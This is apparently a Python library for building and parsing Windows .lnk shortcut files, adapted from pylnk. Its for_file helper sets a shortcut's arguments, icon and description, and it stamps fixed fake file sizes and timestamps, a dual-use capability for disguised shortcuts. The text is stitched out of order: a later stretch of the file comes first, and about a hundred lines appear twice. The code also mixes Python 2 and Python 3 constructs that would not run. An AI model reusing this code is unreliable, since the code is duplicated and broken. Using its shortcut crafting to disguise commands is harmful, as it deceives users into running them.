328 return '\x1F\x50' + chars[3] + chars[2] + chars[1] + chars[0] + chars[5] + chars[4] \
329 + chars[7] + chars[6] + ''.join(chars[8:])
330 bytes = property(bytes)
331
332 def __str__(self):
333 return "<RootEntry: %s>" % self.root
334
335
336 class DriveEntry(object):
337
338 def __init__(self, drive):
339 if len(drive) == 23:
340 self.drive = drive[1:3]
341 else:
342 m = _DRIVE_PATTERN.match(drive.strip())
343 if m:
344 self.drive = m.groups()[0].upper() + ':'
345 else:
346 raise FormatException("This is not a valid drive: " + drive)
347
348 def bytes(self):
349 return '/' + self.drive + '\\' + '\x00' * 19
350 bytes = property(bytes)
351
352 def __str__(self):
353 return "<DriveEntry: %s>" % self.drive
354
355
356 class PathSegmentEntry(object):
357
358 def __init__(self, bytes=None):
359 self.type = None
360 self.file_size = None
361 self.modified = None
362 self.short_name = None
363 self.created = None
364 self.accessed = None
365 self.full_name = None
366 if bytes is not None:
367 buf = StringIO(bytes)
368 self.type = _ENTRY_TYPES.get(read_short(buf), 'UNKNOWN')
369 short_name_is_unicode = self.type.endswith('(UNICODE)')
370 self.file_size = read_int(buf)
371 self.modified = read_dos_datetime(buf)
372 unknown = read_short(buf) # should be 0x10
373 if short_name_is_unicode:
374 self.short_name = read_cunicode(buf)
375 else:
376 self.short_name = read_cstring(buf, padding=True)
377 indicator_1 = read_short(buf) # see below
378 only_83 = read_short(buf) < 0x03
379 unknown = read_short(buf) # 0x04
380 self.is_unicode = read_short(buf) == 0xBeef
381 self.created = read_dos_datetime(buf)
382 self.accessed = read_dos_datetime(buf)
383 offset_unicode = read_short(buf)
384 only_83_2 = offset_unicode >= indicator_1 or offset_unicode < 0x14
385 offset_ansi = read_short(buf)
386 self.full_name = read_cunicode(buf)
387 offset_part2 = read_short(buf) # offset to byte after short name
388
389 def create_for_path(cls, path):
390 entry = cls()
391 entry.type = 'FILE'
392 entry.file_size = 473600
393 entry.short_name = path
394 entry.modified = datetime.fromtimestamp(1444297518)
395 entry.created = datetime.fromtimestamp(1444297518)
396 entry.accessed = datetime.fromtimestamp(1503493813)
397 entry.full_name = entry.short_name
398 return entry
399
400 create_for_path = classmethod(create_for_path)
401
402 def _validate(self):
403 if self.type is None:
404 raise MissingInformationException("Type is missing, choose either TYPE_FOLDER or TYPE_FILE.")
405 if self.file_size is None:
406 if self.type.startswith('FOLDER'):
407 self.file_size = 0
408 else:
409 raise MissingInformationException("File size missing")
410 if self.modified is None or self.accessed is None or self.created is None:
411 raise MissingInformationException("Date information missing")
412 if self.full_name is None:
413 raise MissingInformationException("A full name is missing")
414 if self.short_name is None:
415 self.short_name = self.full_name
416
417 def bytes(self):
418 self._validate()
419 out = StringIO()
420 entry_type = self.type
421 short_name_len = len(self.short_name) + 1
422 try:
423 self.short_name.decode("ascii")
424 short_name_is_unicode = False
425 short_name_len += short_name_len % 2 # padding
426 except (UnicodeEncodeError, UnicodeDecodeError):
427 short_name_is_unicode = True
428 short_name_len = short_name_len * 2
429 self.type += " (UNICODE)"
430 write_short(_ENTRY_TYPE_IDS[entry_type], out)
431 write_int(self.file_size, out)
432 write_dos_datetime(self.modified, out)
433 write_short(0x10, out)
434 if short_name_is_unicode:
435 write_cunicode(self.short_name, out)
436 else:
437 write_cstring(self.short_name, out, padding=True)
438 indicator = 24 + 2 * len(self.short_name)
439 write_short(indicator, out)
440 write_short(0x03, out)
441 write_short(0x04, out)
442 write_short(0xBeef, out)
443 write_dos_datetime(self.created, out)
444 write_dos_datetime(self.accessed, out)
445 offset_unicode = 0x14 # fixed data structure, always the same
446 write_short(offset_unicode, out)
447 offset_ansi = 0 # we always write unicode
448 write_short(offset_ansi, out)
449 write_cunicode(self.full_name, out)
450 offset_part2 = 0x0E + short_name_len
451 write_short(offset_part2, out)
452 return out.getvalue()
453 bytes = property(bytes)
454
455 def __str__(self):
456 return "<PathSegmentEntry: %s>" % self.full_name
457
458
459 class LinkTargetIDList(object):
460
461 def __init__(self, bytes=None):
462 self.items = []
463 if bytes is not None:
464 buf = StringIO(bytes)
465 raw = []
466 entry_len = read_short(buf)
467 while entry_len > 0:
468 raw.append(buf.read(entry_len - 2)) # the length includes the size
469 entry_len = read_short(buf)
470 self._interpret(raw)
471
472 def _interpret(self, raw):
473 if len(raw[0]) == 0x12:
474 self.items.append(RootEntry(raw[0]))
475 if self.items[0].root == ROOT_MY_COMPUTER:
476 if not len(raw[1]) == 0x17:
477 raise ValueError("This seems to be an absolute link which requires a drive as second element.")
478 self.items.append(DriveEntry(raw[1]))
479 items = raw[2:]
480 elif self.items[0].root == ROOT_NETWORK_PLACES:
481 raise NotImplementedError("""Parsing network lnks has not yet been implemented.
482 If you need it just contact me and we'll see...""")
483 else:
484 items = raw[1:]
485 else:
486 items = raw
487 for item in items:
488 self.items.append(PathSegmentEntry(item))
489
490 def _validate(self):
491 if type(self.items[0]) == RootEntry:
492 if self.items[0].root == ROOT_MY_COMPUTER \
493 and type(self.items[1]) != DriveEntry:
494 raise ValueError("A drive is required for absolute lnks")
495
496 def bytes(self):
497 self._validate()
498 out = StringIO()
499 for item in self.items:
500 bytes = item.bytes
501 write_short(len(bytes) + 2, out) # len + terminator
502 out.write(bytes)
503 out.write('\x00\x00')
504 return out.getvalue()
505 bytes = property(bytes)
506
507 def __str__(self):
508 return "<LinkTargetIDList:\n%s>" % pformat([str(item) for item in self.items])
509
510
511 class LinkInfo(object):
512
513 def __init__(self, lnk=None):
514 if lnk is not None:
515 self.start = lnk.tell()
516 self.size = read_int(lnk)
517 self.header_size = read_int(lnk)
518 link_info_flags = read_int(lnk)
519 self.local = link_info_flags & 1
520 self.remote = link_info_flags & 2
521 self.offs_local_volume_table = read_int(lnk)
522 self.offs_local_base_path = read_int(lnk)
523 self.offs_network_volume_table = read_int(lnk)
524 self.offs_base_name = read_int(lnk)
525 if self.header_size >= _LINK_INFO_HEADER_OPTIONAL:
526 print "TODO: read the unicode stuff" # TODO: read the unicode stuff
527 self._parse_path_elements(lnk)
528 else:
529 self.size = None
530 self.header_size = _LINK_INFO_HEADER_DEFAULT
531 self.remote = None
532 self.offs_local_volume_table = 0
533 self.offs_local_base_path = 0
534 self.offs_network_volume_table = 0
535 self.offs_base_name = 0
536 self.drive_type = None
537 self.drive_serial = None
538 self.volume_label = None
539 self.local_base_path = None
540 self.network_share_name = None
541 self.base_name = None
542 self._path = None
543
544
545 class Lnk(object):
546
547 def __init__(self, f=None):
548 self.file = None
549 if type(f) == str or type(f) == unicode:
550 self.file = f
551 try:
552 f = open(self.file, 'rb')
553 except IOError:
554 self.file += ".lnk"
555 f = open(self.file, 'rb')
556 # defaults
557 self.link_flags = Flags(_LINK_FLAGS)
558 self.file_flags = Flags(_FILE_ATTRIBUTES_FLAGS)
559 self.creation_time = datetime.now()
560 self.access_time = datetime.now()
561 self.modification_time = datetime.now()
562 self.file_size = 0
563 self.icon_index = 0
564 self._show_command = WINDOW_NORMAL
565 self.hot_key = None
566 self._link_info = LinkInfo()
567 self.description = None
568 self.relative_path = None
569 self.work_dir = None
570 self.arguments = None
571 self.icon = None
572
573 def _write_hot_key(self, hot_key, lnk):
574 if hot_key is None:
575 low = high = 0
576 else:
577 hot_key = hot_key.split('+')
578 try:
579 low = _KEY_CODES[hot_key[-1]]
580 except KeyError:
581 raise InvalidKeyException("Cannot find key code for %s" % hot_key[1])
582 modifiers = ModifierKeys()
583 for modifier in hot_key[:-1]:
584 modifiers[modifier.upper()] = True
585 high = modifiers.bytes
586 write_byte(low, lnk)
587 write_byte(high, lnk)
588
589 def save(self, f=None, force_ext=False):
590 if f is None:
591 f = self.file
592 if f is None:
593 raise ValueError("File (name) missing for saveing the lnk")
594 is_file = hasattr(f, 'write')
595 if not is_file:
596 if not type(f) == str and not type(f) == unicode:
597 raise ValueError("Need a writeable object or a file name to save to, got %s" % f)
598 if force_ext:
599 if not f.lower().endswith('.lnk'):
600 f += '.lnk'
601 f = open(f, 'wb')
602 self.write(f)
603 # only close the stream if it's our own
604 if not is_file:
605 f.close()
606
607 def ret(self):
608 ret = _SIGNATURE
609 ret += _GUID
610 ret += pack('<I',self.link_flags.bytes)
611 ret += pack('<I',self.file_flags.bytes)
612 ret += pack('<Q',convert_time_to_windows(self.creation_time))
613 ret += pack('<Q',convert_time_to_windows(self.access_time))
614 ret += pack('<Q',convert_time_to_windows(self.modification_time))
615 ret += pack('<I',self.file_size)
616 ret += pack('<I',self.icon_index)
617 ret += pack('<I',_SHOW_COMMAND_IDS[self._show_command])
618 ret += pack('<B',0) #hotkey
619 ret += pack('<B',0) #hotkey
620 ret += ('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # reserved
621
622 if self.link_flags.has_shell_item_id_list:
623 siil = self.shell_item_id_list.bytes
624 ret += pack('<H',len(siil))
625 ret += siil
626 # TOFIX / TOINVESTIGATE
627 #if self.link_flags.has_link_info:
628 #self._link_info.write(lnk)
629 if self.link_flags.has_description:
630 ret += ret_sized_string(self.description, self.link_flags.is_unicode)
631 if self.link_flags.has_relative_path:
632 ret += ret_sized_string(self.relative_path, self.link_flags.is_unicode)
633 if self.link_flags.has_work_directory:
634 ret += ret_sized_string(self.work_dir, self.link_flags.is_unicode)
635 if self.link_flags.has_arguments:
636 ret += ret_sized_string(self.arguments, self.link_flags.is_unicode)
637 if self.link_flags.has_icon:
638 ret += ret_sized_string(self.icon, self.link_flags.is_unicode)
639
640 ret += ('\x00\x00\x00\x00') # header_size
641 return ret
642
643 def write(self, lnk):
644 lnk.write(_SIGNATURE)
645 lnk.write(_GUID)
646 write_int(self.link_flags.bytes, lnk)
647 write_int(self.file_flags.bytes, lnk)
648 write_double(convert_time_to_windows(self.creation_time), lnk)
649 write_double(convert_time_to_windows(self.access_time), lnk)
650 write_double(convert_time_to_windows(self.modification_time), lnk)
651 write_int(self.file_size, lnk)
652 write_int(self.icon_index, lnk)
653 write_int(_SHOW_COMMAND_IDS[self._show_command], lnk)
654 self._write_hot_key(self.hot_key, lnk)
655 lnk.write('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # reserved
656 if self.link_flags.has_shell_item_id_list:
657 siil = self.shell_item_id_list.bytes
658 write_short(len(siil), lnk)
659 lnk.write(siil)
660 if self.link_flags.has_link_info:
661 self._link_info.write(lnk)
662 if self.link_flags.has_description:
663 write_sized_string(self.description, lnk, self.link_flags.is_unicode)
664 if self.link_flags.has_relative_path:
665 write_sized_string(self.relative_path, lnk, self.link_flags.is_unicode)
666 if self.link_flags.has_work_directory:
667 write_sized_string(self.work_dir, lnk, self.link_flags.is_unicode)
668 if self.link_flags.has_arguments:
669 write_sized_string(self.arguments, lnk, self.link_flags.is_unicode)
670 if self.link_flags.has_icon:
671 write_sized_string(self.icon, lnk, self.link_flags.is_unicode)
672 lnk.write('\x00\x00\x00\x00') # header_size
673
674 def _get_shell_item_id_list(self):
675 return self._shell_item_id_list
676
677 def _set_shell_item_id_list(self, shell_item_id_list):
678 self._shell_item_id_list = shell_item_id_list
679 self.link_flags.has_shell_item_id_list = shell_item_id_list != None
680 shell_item_id_list = property(_get_shell_item_id_list, _set_shell_item_id_list)
681
682 def _get_link_info(self):
683 return self._link_info
684
685 def _set_link_info(self, link_info):
686 self._link_info = link_info
687 self.link_flags.force_no_link_info = link_info == None
688 self.link_flags.has_link_info = link_info != None
689 link_info = property(_get_link_info, _set_link_info)
690
691 def _get_description(self):
692 return self._description
693
694 def _set_description(self, description):
695 self._description = description
696 self.link_flags.has_description = description != None
697 description = property(_get_description, _set_description)
698
699 def _get_relative_path(self):
700 return self._relative_path
701 def _set_relative_path(self, relative_path):
702 self._relative_path = relative_path
703 self.link_flags.has_relative_path = relative_path != None
704 relative_path = property(_get_relative_path, _set_relative_path)
705
706 def _get_work_dir(self):
707 return self._work_dir
708 def _set_work_dir(self, work_dir):
709 self._work_dir = work_dir
710 self.link_flags.has_work_directory = work_dir != None
711 work_dir = working_dir = property(_get_work_dir, _set_work_dir)
712
713 def _get_arguments(self):
714 return self._arguments
715 def _set_arguments(self, arguments):
716 self._arguments = arguments
717 self.link_flags.has_arguments = arguments != None
718 arguments = property(_get_arguments, _set_arguments)
719
720 def _get_icon(self):
721 return self._icon
722 def _set_icon(self, icon):
723 self._icon = icon
724 self.link_flags.has_icon = icon != None
725 icon = property(_get_icon, _set_icon)
726
727 def _get_window_mode(self):
728 return self._show_command
729 def _set_window_mode(self, value):
730 if not value in _SHOW_COMMANDS.values():
731 raise ValueError("Not a valid window mode: %s. Choose any of pylnk.WINDOW_*" % value)
732 self._show_command = value
733 window_mode = show_command = property(_get_window_mode, _set_window_mode)
734
735 def _get_path(self):
736 return self._shell_item_id_list.get_path()
737 path = property(_get_path)
738
739 def __str__(self):
740 s = "Target file:\n"
741 s += str(self.file_flags)
742 s += "\nCreation Time: %s" % self.creation_time
743 s += "\nModification Time: %s" % self.modification_time
744 s += "\nAccess Time: %s" % self.access_time
745 s += "\nFile size: %s" % self.file_size
746 s += "\nWindow mode: %s" % self._show_command
747 s += "\nHotkey: %s\n" % self.hot_key
748 s += str(self._link_info)
749 if self.link_flags.has_shell_item_id_list:
750 s += "\n%s" % self.shell_item_id_list
751 if self.link_flags.has_description:
752 s += "\nDescription: %s" % self.description
753 if self.link_flags.has_relative_path:
754 s += "\nRelative Path: %s" % self.relative_path
755 if self.link_flags.has_work_directory:
756 s += "\nWorking Directory: %s" % self.work_dir
757 if self.link_flags.has_arguments:
758 s += "\nCommandline Arguments: %s" % self.arguments
759 if self.link_flags.has_icon:
760 s += "\nIcon: %s" % self.icon
761 s += "\nUsed Path: %s" % self.shell_item_id_list.get_path()
762 return s
763
764 #---- convenience functions
765
766 def create(f=None):
767 lnk = Lnk()
768 lnk.file = f
769 return lnk
770
771 def for_file(target_file, arguments, lnkname, lnkicon=None, description=None):
772 drive, full_path = target_file.split(':',1)
773 full_path = full_path.lstrip('\\')
774 lnk = create()
775 lnk.link_info = None
776 level = full_path
777 elements = [RootEntry(ROOT_MY_COMPUTER),
778 DriveEntry(drive)]
779 segment = PathSegmentEntry.create_for_path(level)
780 elements.append(segment)
781 lnk.shell_item_id_list = LinkTargetIDList()
782 lnk.shell_item_id_list.items = elements
783 lnk.description = description
784 lnk.arguments = arguments
785 lnk.icon = lnkicon
786 #if lnkname:
787 # lnk.save()
788 return lnk
0 #!/usr/bin/python
1 #
2 # Python library for reading and writing Windows shortcut files (.lnk)
3 # Copyright 2011 Tim-Christian Mundt
4 #
5 # This library is free software; you can redistribute it and/or
6 # modify it under the terms of the GNU Lesser General Public
7 # License as published by the Free Software Foundation; either
8 # version 3 of the License, or (at your option) any later version.
9 #
10 # This library is distributed in the hope that it will be useful,
11 # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 # Lesser General Public License for more details.
14 #
15 # You should have received a copy of the GNU Lesser General Public
16 # License along with this library; if not, see
17 # <http://www.gnu.org/licenses/>.
18 #
19 # hardly cannibalized from https://sourceforge.net/p/pylnk/home/Home/
20 # not as clean as i wished
21 # cannibal: @theguly
22
23 from __future__ import print_function
24 from future import standard_library
25 standard_library.install_aliases()
26 from builtins import chr
27 from builtins import str
28 from builtins import range
29 from builtins import object
30 import sys, os, time, re
31 from struct import pack, unpack
32 from pprint import pformat,PrettyPrinter
33 from datetime import datetime
34 from io import StringIO
35 pp = PrettyPrinter(indent=4)
36
37 #---- constants
38
39 _SIGNATURE = 'L\x00\x00\x00'
40 _GUID = '\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00F'
41 _LINK_INFO_HEADER_DEFAULT = 0x1C
42 _LINK_INFO_HEADER_OPTIONAL = 0x24
43
44 _LINK_FLAGS = ('has_shell_item_id_list', 'has_link_info', 'has_description',
45 'has_relative_path', 'has_work_directory', 'has_arguments',
46 'has_icon', 'is_unicode', 'force_no_link_info')
47
48 _FILE_ATTRIBUTES_FLAGS = ('read_only', 'hidden', 'system_file', 'reserved1',
49 'directory', 'archive', 'reserved2', 'normal',
50 'temporary', 'sparse_file', 'reparse_point',
51 'compressed', 'offline', 'not_content_indexed',
52 'encrypted')
53
54 _MODIFIER_KEYS = ('SHIFT', 'CONTROL', 'ALT')
55
56 WINDOW_NORMAL = "Normal"
57 WINDOW_MAXIMIZED = "Maximized"
58 WINDOW_MINIMIZED = "Minimized"
59 _SHOW_COMMANDS = {1:WINDOW_NORMAL, 3:WINDOW_MAXIMIZED, 7:WINDOW_MINIMIZED}
60 _SHOW_COMMAND_IDS = dict((v, k) for k, v in _SHOW_COMMANDS.items())
61
62 DRIVE_UNKNOWN = "Unknown"
63 DRIVE_NO_ROOT_DIR = "No root directory"
64 DRIVE_REMOVABLE = "Removable"
65 DRIVE_FIXED = "Fixed (Hard disk)"
66 DRIVE_REMOTE = "Remote (Network drive)"
67 DRIVE_CDROM = "CD-ROM"
68 DRIVE_RAMDISK = "Ram disk"
69 _DRIVE_TYPES = {0: DRIVE_UNKNOWN,
70 1: DRIVE_NO_ROOT_DIR,
71 2: DRIVE_REMOVABLE,
72 3: DRIVE_FIXED,
73 4: DRIVE_REMOTE,
74 5: DRIVE_CDROM,
75 6: DRIVE_RAMDISK}
76 _DRIVE_TYPE_IDS = dict((v, k) for k, v in _DRIVE_TYPES.items())
77
78 _KEYS = {0x30: '0', 0x31: '1', 0x32: '2', 0x33: '3', 0x34: '4', 0x35: '5', 0x36: '6',
79 0x37: '7', 0x38: '8', 0x39: '9', 0x41: 'A', 0x42: 'B', 0x43: 'C', 0x44: 'D',
80 0x45: 'E', 0x46: 'F', 0x47: 'G', 0x48: 'H', 0x49: 'I', 0x4A: 'J', 0x4B: 'K',
81 0x4C: 'L', 0x4D: 'M', 0x4E: 'N', 0x4F: 'O', 0x50: 'P', 0x51: 'Q', 0x52: 'R',
82 0x53: 'S', 0x54: 'T', 0x55: 'U', 0x56: 'V', 0x57: 'W', 0x58: 'X', 0x59: 'Y',
83 0x5A: 'Z', 0x70: 'F1', 0x71: 'F2', 0x72: 'F3', 0x73: 'F4', 0x74: 'F5',
84 0x75: 'F6', 0x76: 'F7', 0x77: 'F8', 0x78: 'F9', 0x79: 'F10', 0x7A: 'F11',
85 0x7B: 'F12', 0x7C: 'F13', 0x7D: 'F14', 0x7E: 'F15', 0x7F: 'F16', 0x80: 'F17',
86 0x81: 'F18', 0x82: 'F19', 0x83: 'F20', 0x84: 'F21', 0x85: 'F22', 0x86: 'F23',
87 0x87: 'F24', 0x90: 'NUM LOCK', 0x91: 'SCROLL LOCK'}
88 _KEY_CODES = dict((v, k) for k, v in _KEYS.items())
89
90 ROOT_MY_COMPUTER = 'MY_COMPUTER'
91 ROOT_MY_DOCUMENTS = 'MY_DOCUMENTS'
92 ROOT_NETWORK_SHARE = 'NETWORK_SHARE'
93 ROOT_NETWORK_SERVER = 'NETWORK_SERVER'
94 ROOT_NETWORK_PLACES = 'NETWORK_PLACES'
95 ROOT_NETWORK_DOMAIN = 'NETWORK_DOMAIN'
96 ROOT_INTERNET = 'INTERNET'
97 ROOT_RECYLCE_BIN = 'RECYLCE_BIN'
98 ROOT_CONTROL_PANEL = 'CONTROL_PANEL'
99
100 _ROOT_LOCATIONS = {'{20D04FE0-3AEA-1069-A2D8-08002B30309D}': ROOT_MY_COMPUTER,
101 '{450D8FBA-AD25-11D0-98A8-0800361B1103}': ROOT_MY_DOCUMENTS,
102 '{54a754c0-4bf1-11d1-83ee-00a0c90dc849}': ROOT_NETWORK_SHARE,
103 '{c0542a90-4bf0-11d1-83ee-00a0c90dc849}': ROOT_NETWORK_SERVER,
104 '{208D2C60-3AEA-1069-A2D7-08002B30309D}': ROOT_NETWORK_PLACES,
105 '{46e06680-4bf0-11d1-83ee-00a0c90dc849}': ROOT_NETWORK_DOMAIN,
106 '{871C5380-42A0-1069-A2EA-08002B30309D}': ROOT_INTERNET,
107 '{645FF040-5081-101B-9F08-00AA002F954E}': ROOT_RECYLCE_BIN,
108 '{21EC2020-3AEA-1069-A2DD-08002B30309D}': ROOT_CONTROL_PANEL}
109 _ROOT_LOCATION_GUIDS = dict((v, k) for k, v in _ROOT_LOCATIONS.items())
110
111 TYPE_FOLDER = 'FOLDER'
112 TYPE_FILE = 'FILE'
113 _ENTRY_TYPES = {0x31: 'FOLDER', 0x32: 'FILE',
114 0x35: 'FOLDER (UNICODE)', 0x36: 'FILE (UNICODE)'}
115 _ENTRY_TYPE_IDS = dict((v, k) for k, v in _ENTRY_TYPES.items())
116
117 _DRIVE_PATTERN = re.compile("(\w)[:/\\\\]*$")
118
119 #---- read and write binary data
120
121 def read_byte(buf):
122 return unpack('<B', buf.read(1))[0]
123
124 def read_short(buf):
125 return unpack('<H', buf.read(2))[0]
126
127 def read_int(buf):
128 return unpack('<I', buf.read(4))[0]
129
130 def read_double(buf):
131 return unpack('<Q', buf.read(8))[0]
132
133 def read_cunicode(buf):
134 s = ""
135 b = buf.read(2)
136 while b!= '\x00\x00':
137 s += b
138 b = buf.read(2)
139 return s.decode('utf-16-le')
140
141 def read_cstring(buf, padding=False):
142 s = ""
143 b = buf.read(1)
144 while b != '\x00':
145 s += b
146 b = buf.read(1)
147 if padding and not len(s) % 2:
148 buf.read(1) # make length + terminator even
149 #TODO: encoding is not clear, unicode-escape has been necessary sometimes
150 return s.decode('cp1252')
151
152 def read_sized_string(buf, str=True):
153 size = read_short(buf)
154 if str:
155 return buf.read(size*2).decode('utf-16-le')
156 else:
157 return buf.read(size)
158
159 def get_bits(value, start, count, length=16):
160 mask = 0
161 for i in range(count):
162 mask = mask | 1 << i
163 shift = length - start - count
164 return value >> shift & mask
165
166 def read_dos_datetime(buf):
167 date = read_short(buf)
168 time = read_short(buf)
169 year = get_bits(date, 0, 7) + 1980
170 month = get_bits(date, 7, 4)
171 day = get_bits(date, 11, 5)
172 hour = get_bits(time, 0, 5)
173 minute = get_bits(time, 5, 6)
174 second = get_bits(time, 11, 5)
175 return datetime(year, month, day, hour, minute, second)
176
177 def write_byte(val, buf):
178 buf.write(pack('<B', val))
179
180 def write_short(val, buf):
181 buf.write(pack('<H', val))
182
183 def write_int(val, buf):
184 buf.write(pack('<I', val))
185
186 def write_double(val, buf):
187 buf.write(pack('<Q', val))
188
189 def write_cstring(val, buf, padding=False):
190 #val = val.encode('unicode-escape').replace('\\\\', '\\')
191 val = val.encode('cp1252')
192 buf.write(val + '\x00')
193 if padding and not len(val) % 2:
194 buf.write('\x00')
195
196 def write_cunicode(val, buf):
197 uni = val.encode('utf-16-le')
198 buf.write(uni + '\x00\x00')
199
200 def write_sized_string(val, buf, str=True):
201 size = len(val)
202 write_short(size, buf)
203 if str:
204 buf.write(val.encode('utf-16-le'))
205 else:
206 buf.write(val)
207
208 def ret_sized_string(val, str=True):
209 size = len(val)
210 ret = pack('<H', size)
211 if str:
212 ret += val.encode('utf-16-le')
213 else:
214 ret += val
215 return ret
216
217 def put_bits(bits, target, start, count, length=16):
218 return target | bits << (length - start - count)
219
220 def write_dos_datetime(val, buf):
221 date = time = 0
222 date = put_bits(val.year-1980, date, 0, 7)
223 date = put_bits(val.month, date, 7, 4)
224 date = put_bits(val.day, date, 11, 5)
225 time = put_bits(val.hour, time, 0, 5)
226 time = put_bits(val.minute, time, 5, 6)
227 time = put_bits(val.second, time, 11, 5)
228 write_short(date, buf)
229 write_short(time, buf)
230
231 #---- helpers
232
233 def convert_time_to_unix(windows_time):
234 # Windows time is specified as the number of 0.1 nanoseconds since January 1, 1601.
235 # UNIX time is specified as the number of seconds since January 1, 1970.
236 # There are 134774 days (or 11644473600 seconds) between these dates.
237 unix_time = windows_time / 10000000.0 - 11644473600
238 return datetime.fromtimestamp(unix_time)
239
240 def convert_time_to_windows(unix_time):
241 if isinstance(unix_time, datetime):
242 unix_time = time.mktime(unix_time.timetuple())
243 return int((unix_time + 11644473600) * 10000000)
244
245 class FormatException(Exception):
246 pass
247
248 class MissingInformationException(Exception):
249 pass
250
251 class InvalidKeyException(Exception):
252 pass
253
254 #---- data structures
255
256 class Flags(object):
257
258 def __init__(self, flag_names, flags_bytes=0):
259 self._flag_names = flag_names
260 self._flags = dict([(name, None) for name in flag_names])
261 self.set_flags(flags_bytes)
262
263 def set_flags(self, flags_bytes):
264 for pos in range(len(self._flag_names)):
265 self._flags[self._flag_names[pos]] = flags_bytes >> pos & 0x1 and True or False
266
267 def bytes(self):
268 bytes = 0
269 for pos in range(len(self._flag_names)):
270 bytes = (self._flags[self._flag_names[pos]] and 1 or 0) << pos | bytes
271 return bytes
272 bytes = property(bytes)
273
274 def __getitem__(self, key):
275 return object.__getattribute__(self, '_flags')[key]
276
277 def __setitem__(self, key, value):
278 if key not in self._flags:
279 raise KeyError("The key '%s' is not defined for those flags." % key)
280 self._flags[key] = value
281
282 def __getattr__(self, key):
283 return object.__getattribute__(self, '_flags')[key]
284
285 def __setattr__(self, key, value):
286 if '_flags' not in self.__dict__:
287 object.__setattr__(self, key, value)
288 elif key in self.__dict__:
289 object.__setattr__(self, key, value)
290 else:
291 self.__setitem__(key, value)
292
293 def __str__(self):
294 return pformat(self._flags, indent=2)
295
296
297 class ModifierKeys(Flags):
298
299 def __init__(self, flags_bytes=0):
300 Flags.__init__(self, _MODIFIER_KEYS, flags_bytes)
301
302 def __str__(self):
303 s = ""
304 s += self.CONTROL and "CONTROL+" or ""
305 s += self.SHIFT and "SHIFT+" or ""
306 s += self.ALT and "ALT+" or ""
307 return s
308
309
310 class RootEntry(object):
311
312 def __init__(self, root):
313 if root is not None:
314 if root in list(_ROOT_LOCATION_GUIDS.keys()):
315 self.root = root
316 self.guid = _ROOT_LOCATION_GUIDS[root]
317 else:
318 bytes = root
319 if len(bytes) == 18: # and bytes[:2] == '\x1F\x50':
320 # '\x1F\x50' for MY_COMPUTER
321 # '\x1FX' for NETWORK
322 bytes = bytes[2:]
323 if len(bytes) != 16:
324 raise FormatException("This is no valid _GUID: %s" % bytes)
325 ordered = [bytes[3], bytes[2], bytes[1], bytes[0], bytes[5], bytes[4],
326 bytes[7], bytes[6], bytes[8], bytes[9], bytes[10], bytes[11],
327 bytes[12], bytes[13], bytes[14], bytes[15]]
328 self.guid = "{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}" % tuple(
329 [ord(x) for x in ordered])
330 self.root = _ROOT_LOCATIONS.get(self.guid, "UNKNOWN")
331
332 def bytes(self):
333 guid = self.guid[1:-1].replace('-', '')
334 chars = [chr(int(x, 16)) for x in [guid[i:i+2] for i in range(0, 32, 2)]]
335 return '\x1F\x50' + chars[3] + chars[2] + chars[1] + chars[0] + chars[5] + chars[4] \
336 + chars[7] + chars[6] + ''.join(chars[8:])
337 bytes = property(bytes)
338
339 def __str__(self):
340 return "<RootEntry: %s>" % self.root
341
342
343 class DriveEntry(object):
344
345 def __init__(self, drive):
346 if len(drive) == 23:
347 self.drive = drive[1:3]
348 else:
349 m = _DRIVE_PATTERN.match(drive.strip())
350 if m:
351 self.drive = m.groups()[0].upper() + ':'
352 else:
353 raise FormatException("This is not a valid drive: " + drive)
354
355 def bytes(self):
356 return '/' + self.drive + '\\' + '\x00' * 19
357 bytes = property(bytes)
358
359 def __str__(self):
360 return "<DriveEntry: %s>" % self.drive
361
362
363 class PathSegmentEntry(object):
364
365 def __init__(self, bytes=None):
366 self.type = None
367 self.file_size = None
368 self.modified = None
369 self.short_name = None
370 self.created = None
371 self.accessed = None
372 self.full_name = None
373 if bytes is not None:
374 buf = StringIO(bytes)
375 self.type = _ENTRY_TYPES.get(read_short(buf), 'UNKNOWN')
376 short_name_is_unicode = self.type.endswith('(UNICODE)')
377 self.file_size = read_int(buf)
378 self.modified = read_dos_datetime(buf)
379 unknown = read_short(buf) # should be 0x10
380 if short_name_is_unicode:
381 self.short_name = read_cunicode(buf)
382 else:
383 self.short_name = read_cstring(buf, padding=True)
384 indicator_1 = read_short(buf) # see below
385 only_83 = read_short(buf) < 0x03
386 unknown = read_short(buf) # 0x04
387 self.is_unicode = read_short(buf) == 0xBeef
388 self.created = read_dos_datetime(buf)
389 self.accessed = read_dos_datetime(buf)
390 offset_unicode = read_short(buf)
391 only_83_2 = offset_unicode >= indicator_1 or offset_unicode < 0x14
392 offset_ansi = read_short(buf)
393 self.full_name = read_cunicode(buf)
394 offset_part2 = read_short(buf) # offset to byte after short name
395
396 def create_for_path(cls, path):
397 entry = cls()
398 entry.type = 'FILE'
399 entry.file_size = 473600
400 entry.short_name = path
401 entry.modified = datetime.fromtimestamp(1444297518)
402 entry.created = datetime.fromtimestamp(1444297518)
403 entry.accessed = datetime.fromtimestamp(1503493813)
404 entry.full_name = entry.short_name
405 return entry
406
407 create_for_path = classmethod(create_for_path)
408
409 def _validate(self):
410 if self.type is None:
411 raise MissingInformationException("Type is missing, choose either TYPE_FOLDER or TYPE_FILE.")
412 if self.file_size is None:
413 if self.type.startswith('FOLDER'):
414 self.file_size = 0
415 else:
416 raise MissingInformationException("File size missing")
417 if self.modified is None or self.accessed is None or self.created is None:
418 raise MissingInformationException("Date information missing")
419 if self.full_name is None:
420 raise MissingInformationException("A full name is missing")
421 if self.short_name is None:
422 self.short_name = self.full_name
423
424 def bytes(self):
425 self._validate()
426 out = StringIO()
427 entry_type = self.type
428 short_name_len = len(self.short_name) + 1
429 try:
430 self.short_name.decode("ascii")
431 short_name_is_unicode = False
432 short_name_len += short_name_len % 2 # padding
433 except (UnicodeEncodeError, UnicodeDecodeError):
434 short_name_is_unicode = True
435 short_name_len = short_name_len * 2
436 self.type += " (UNICODE)"
437 write_short(_ENTRY_TYPE_IDS[entry_type], out)
438 write_int(self.file_size, out)
439 write_dos_datetime(self.modified, out)
440 write_short(0x10, out)
